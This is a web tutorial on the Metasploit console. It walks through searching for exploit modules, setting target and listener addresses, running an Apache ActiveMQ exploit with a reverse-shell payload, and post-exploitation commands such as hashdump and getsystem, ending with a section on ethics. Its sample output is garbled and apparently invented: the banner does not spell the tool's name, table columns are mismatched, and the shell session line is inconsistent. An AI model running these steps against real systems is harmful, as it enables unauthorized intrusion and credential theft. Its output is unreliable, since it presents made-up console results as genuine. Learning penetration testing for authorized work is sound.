How to Use Metasploit’s Interface?

In this tutorial, we will explore the powerful capabilities of Metasploit's interface. Metasploit is a popular penetration testing framework that allows security professionals to identify and exploit vulnerabilities in systems. By leveraging its extensive set of modules and functionalities, we can gain insights into potential security weaknesses and strengthen our own defenses.

Installing and Setting Up Metasploit

To begin our exploration of Metasploit, we need to install and set up the framework. Follow these steps

  • Start by downloading Metasploit from the official website or via the package manager of your operating system.

  • Install Metasploit by following the installation instructions provided for your specific platform.

  • Once the installation is complete, launch the Metasploit console or open a terminal and type msfconsole to access the interface.

Installing Metasploit on Linux

$ sudo apt-get install metasploit-framework
$ msfconsole

Output Metasploit Console

 _                                                  
(_) ___  ___ _ __ ___ _ __ ___   __ _ _ __  _ __  
| |/ _ \/ __| '__/ _ \ '_ ` _ \ / _` | '_ \| '_ \
| | (_) \__ \ | |  __/ | | | | | (_| | |_) | |_) |
|_|\___/|___/_|  \___|_| |_| |_|\__,_| .__/| .__/
                                     |_|   |_|
Welcome to Metasploit (version x.x.x)

After installing Metasploit, we launch the Metasploit console (msfconsole) to access the interface. The console provides a command-line environment where we can interact with the framework and its modules.

Metasploit Interface Components

Metasploit Module Types Exploits Payloads Auxiliary Post-Exploit Modules Target specific vulnerabilities Actions executed after exploit Scanning and enumeration System analysis and pivoting

Exploring Metasploit's Modules

Metasploit offers a vast collection of modules that encompass various exploits, payloads, auxiliary tools, and post-exploitation modules. Let's explore some of these modules

Searching for Exploits

msf6 > search exploit
msf6 > search name:apache type:exploit

Output Search Results

Matching Modules
================

   #  Name                                                Disclosure Date  Rank       Check  Description
   -  ----                                                ---------------  ----       -----  -----------
   0  exploit/multi/http/apache_activemq_upload_jsp   2021-07-02       excellent  Yes    Apache ActiveMQ Upload JSP File Exploit
   1  exploit/multi/http/apache_continuum_rest_exec    2016-10-29       excellent  Yes    Apache Continuum REST API Command Execution
   ...

The search command allows us to find relevant exploit modules. In this example, we search for Apache exploits and get a list of matching modules along with their descriptions and other details.

Displaying Payload Options

msf6 > use exploit/multi/http/apache_activemq_upload_jsp
msf6 exploit(multi/http/apache_activemq_upload_jsp) > show payloads

Output Payload Options

Payloads
========

   Name                            Disclosure Date  Rank       Description
   ----                            ---------------  ----       -----------
   cmd/unix/reverse                 Normal           Unix Command, Reverses the connection back to the attacker
   cmd/unix/reverse_perl            Excellent        Unix Command, Perl One-Liner
   ...

By selecting an exploit module, we can view the available payload options. These payloads determine the actions performed after successful exploitation.

Executing Exploits and Generating Payloads

Once we have identified an exploit and selected an appropriate payload, we can proceed to execute the exploit and generate a payload to gain control over the target system.

Configuring Exploit Options

msf6 exploit(multi/http/apache_activemq_upload_jsp) > options
msf6 exploit(multi/http/apache_activemq_upload_jsp) > set RHOSTS 192.168.1.100

Output Setting Exploit Options

Module options (exploit/multi/http/apache_activemq_upload_jsp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.1.100    yes       The target address range or CIDR identifier
   ...

The options command displays the available configuration options for the selected exploit module. In this example, we set the target host (RHOSTS) to 192.168.1.100.

Setting Up Handler and Executing

msf6 exploit(multi/http/apache_activemq_upload_jsp) > set payload cmd/unix/reverse
msf6 exploit(multi/http/apache_activemq_upload_jsp) > set LHOST 192.168.1.200
msf6 exploit(multi/http/apache_activemq_upload_jsp) > set LPORT 4444
msf6 exploit(multi/http/apache_activemq_upload_jsp) > exploit

Output Exploit Execution

[*] Started reverse TCP handler on 192.168.1.200:4444
[*] Sending payload to the target
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.200:12345) at 2023-07-15 14:30:00 +0000

shell>

In the above example, we configure the payload settings and execute the exploit. After successful execution, a command shell session is established, providing us with control over the compromised system.

Post-Exploitation Activities

Once we have executed exploits and obtained access to systems, it is crucial to analyze the results and deepen our understanding of the compromised environment. Consider the following steps

Activity Purpose Example Commands
Information Gathering Collect system details sysinfo, ps, netstat
Privilege Escalation Gain higher permissions getsystem, use post/windows/escalate/
Network Pivoting Access internal networks route add, portfwd
Data Extraction Retrieve sensitive information download, hashdump

Best Practices and Ethics

  • Legal Authorization Always obtain proper written authorization before conducting penetration testing activities.

  • Scope Limitations Stay within the defined scope and avoid accessing unauthorized systems or data.

  • Documentation Maintain detailed logs of all activities for reporting and legal compliance.

  • Responsible Disclosure Report vulnerabilities through appropriate channels and allow time for remediation.

Conclusion

Metasploit's interface provides a comprehensive platform for penetration testing and vulnerability assessment. Through its modular architecture, security professionals can efficiently identify, exploit, and analyze system vulnerabilities. Remember to always practice responsible and ethical hacking, respecting applicable laws and obtaining proper authorization before conducting any security testing activities.

Updated on: 2026-03-17T09:01:39+05:30

337 Views

Kickstart Your Career

Get certified by completing the course

Get Started
Advertisements